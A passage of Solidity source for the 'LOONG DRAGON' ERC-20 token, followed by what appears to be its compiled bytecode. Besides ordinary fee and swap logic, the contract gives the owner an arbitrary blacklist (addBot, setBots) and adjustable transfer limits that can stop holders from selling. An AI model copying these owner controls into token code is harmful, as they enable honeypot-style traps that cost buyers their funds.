_previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LOONG is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "LOONG DRAGON"; string private constant _symbol = "LOONG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _feeAddrWallet1 = payable(0xA2FA7B0F7d6E6521c26D204FB41Ff3fE295663d4); _feeAddrWallet2 = payable(0x448a9B3a495a89BCb9a39A27f1518b6E9C127b3B); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 9; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 5; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3450000000000000000000 * 10**9; // 5% _maxWalletAmount = 6900000000000000000000 * 10**9; // 10% tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063c9567bf91161006f578063c9567bf914610473578063dd62ed3e1461048a578063e98391ff146104c7578063ec28438a146104f0578063f429389014610519578063ffecf5161461053057610156565b806395d89b41146103675780639a590427146103925780639b19251a146103bb578063a9059cbb146103e4578063b515566a14610421578063bf6642e71461044a57610156565b8063313ce56711610108578063313ce5671461027d57806351bc3c85146102a85780635932ead1146102bf57806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b57806327a14fc21461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610559565b60405161017d91906133d9565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612ed9565b610596565b6040516101ba91906133be565b60405180910390f35b3480156101cf57600080fd5b506101d86105b4565b6040516101e5919061359b565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e8a565b6105ca565b60405161022291906133be565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612dd3565b6106a3565b005b34801561026057600080fd5b5061027b60048036038101906102769190612fa8565b610793565b005b34801561028957600080fd5b50610292610841565b60405161029f9190613610565b60405180910390f35b3480156102b457600080fd5b506102bd61084a565b005b3480156102cb57600080fd5b506102e660048036038101906102e19190612f56565b610863565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612dd3565b610915565b60405161031c919061359b565b60405180910390f35b34801561033157600080fd5b5061033a610966565b005b34801561034857600080fd5b50610351610ab9565b60405161035e91906132f0565b60405180910390f35b34801561037357600080fd5b5061037c610ae2565b60405161038991906133d9565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612e25565b610b1f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612e25565b610c0f565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612ed9565b610cff565b60405161041891906133be565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190612f15565b610d1d565b005b34801561045657600080fd5b50610471600480360381019061046c9190612fa8565b610e6d565b005b34801561047f57600080fd5b50610488610f0c565b005b34801561049657600080fd5b506104b160048036038101906104ac9190612e4e565b61148d565b6040516104be919061359b565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e99190612f56565b611514565b005b3480156104fc57600080fd5b5061051760048036038101906105129190612fa8565b6115c6565b005b34801561052557600080fd5b5061052e611674565b005b34801561053c57600080fd5b5061055760048036038101906105529190612dd3565b611685565b005b60606040518060400160405280600c81526020017f4c4f4f4e4720445241474f4e0000000000000000000000000000000000000000815250905090565b60006105aa6105a3611775565b848461177d565b6001905092915050565b60006d0366e7064422fd84202340000000905090565b60006105d7848484611948565b610698846105e3611775565b61069385604051806060016040528060288152602001613d2660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610649611775565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211e9092919063ffffffff16565b61177d565b600190509392505050565b6106ab611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072f9061349b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61079b611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f9061349b565b60405180910390fd5b633b9aca00816108389190613758565b600d8190555050565b60006009905090565b600061085530610915565b905061086081612182565b50565b61086b611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef9061349b565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600061095f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247c565b9050919050565b61096e611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f29061349b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c4f4f4e47000000000000000000000000000000000000000000000000000000815250905090565b610b27611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab9061349b565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c17611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b9061349b565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610d13610d0c611775565b8484611948565b6001905092915050565b610d25611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da99061349b565b60405180910390fd5b60005b8151811015610e6957600160066000848481518110610dfd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e61906138c3565b915050610db5565b5050565b610e75611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef99061349b565b60405180910390fd5b80600c8190555050565b610f14611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f989061349b565b60405180910390fd5b601360149054906101000a900460ff1615610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe89061353b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061108630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166d0366e7064422fd8420234000000061177d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110cc57600080fd5b505afa1580156110e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111049190612dfc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561116657600080fd5b505afa15801561117a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119e9190612dfc565b6040518363ffffffff1660e01b81526004016111bb92919061330b565b602060405180830381600087803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120d9190612dfc565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061129630610915565b6000806112a1610ab9565b426040518863ffffffff1660e01b81526004016112c39695949392919061335d565b6060604051808303818588803b1580156112dc57600080fd5b505af11580156112f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113159190612fd1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506c2b8b8d1d01bfe034ce90000000600a819055506c57171a3a037fc0699d20000000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611437929190613334565b602060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114899190612f7f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61151c611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a09061349b565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b6115ce611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529061349b565b60405180910390fd5b633b9aca008161166b9190613758565b600a8190555050565b6000479050611682816124ea565b50565b61168d611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461171a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117119061349b565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e49061351b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561185d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118549061343b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161193b919061359b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906134fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1f906133fb565b60405180910390fd5b60008111611a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a62906134bb565b60405180910390fd5b6005600e819055506009600f81905550611a83610ab9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611af15750611ac1610ab9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bd55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120fd57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c7e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c8757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d325750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d885750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611da05750601360179054906101000a900460ff165b15611f1457600a54811115611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de19061355b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e629061357b565b60405180910390fd5b600d5481611e7884610915565b611e8291906136d1565b1115611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba906134db565b60405180910390fd5b601e42611ed091906136d1565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611fbf5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120155750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561202b576005600e819055506009600f819055505b600061203630610915565b90506000600c54821015905080801561205c5750601360159054906101000a900460ff16155b80156120b65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120ce5750601360169054906101000a900460ff165b156120f6576120dc82612182565b600047905060008111156120f4576120f3476124ea565b5b505b505061210e565b6000600e819055506000600f819055505b6121198383836125e5565b505050565b6000838311158290612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d91906133d9565b60405180910390fd5b506000838561217591906137b2565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561220e5781602001602082028036833780820191505090505b509050308160008151811061224c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122ee57600080fd5b505afa158015612302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123269190612dfc565b81600181518110612360577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461177d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242b9594939291906135b6565b600060405180830381600087803b15801561244557600080fd5b505af1158015612459573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006008548211156124c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ba9061341b565b60405180910390fd5b60006124cd6125f5565b90506124e2818461262090919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61253a60028461262090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612565573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125b660028461262090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125e1573d6000803e3d6000fd5b5050565b6125f083838361266a565b505050565b6000806000612602612835565b91509150612619818361262090919063ffffffff16565b9250505090565b600061266283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128a6565b905092915050565b60008060008060008061267c87612909565b9550955095509550955095506126da86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461297190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127bb81612a19565b6127c58483612ad6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612822919061359b565b60405180910390a3505050505050505050565b6000806000600854905060006d0366e7064422fd8420234000000090506128756d0366e7064422fd8420234000000060085461262090919063ffffffff16565b821015612899576008546d0366e7064422fd842023400000009350935050506128a2565b81819350935050505b9091565b600080831182906128ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e491906133d9565b60405180910390fd5b50600083856128fc9190613727565b9050809150509392505050565b60008060008060008060008060006129268a600e54600f54612b10565b92509250925060006129366125f5565b905060008060006129498e878787612ba6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061211e565b905092915050565b60008082846129ca91906136d1565b905083811015612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a069061345b565b60405180910390fd5b8091505092915050565b6000612a236125f5565b90506000612a3a8284612c2f90919063ffffffff16565b9050612a8e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612aeb8260085461297190919063ffffffff16565b600881905550612b06816009546129bb90919063ffffffff16565b6009819055505050565b600080600080612b3c6064612b2e888a612c2f90919063ffffffff16565b61262090919063ffffffff16565b90506000612b666064612b58888b612c2f90919063ffffffff16565b61262090919063ffffffff16565b90506000612b8f82612b81858c61297190919063ffffffff16565b61297190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bbf8589612c2f90919063ffffffff16565b90506000612bd68689612c2f90919063ffffffff16565b90506000612bed8789612c2f90919063ffffffff16565b90506000612c1682612c08858761297190919063ffffffff16565b61297190919063ffffffff16565b9050838184965096509650505050509450945094915050565b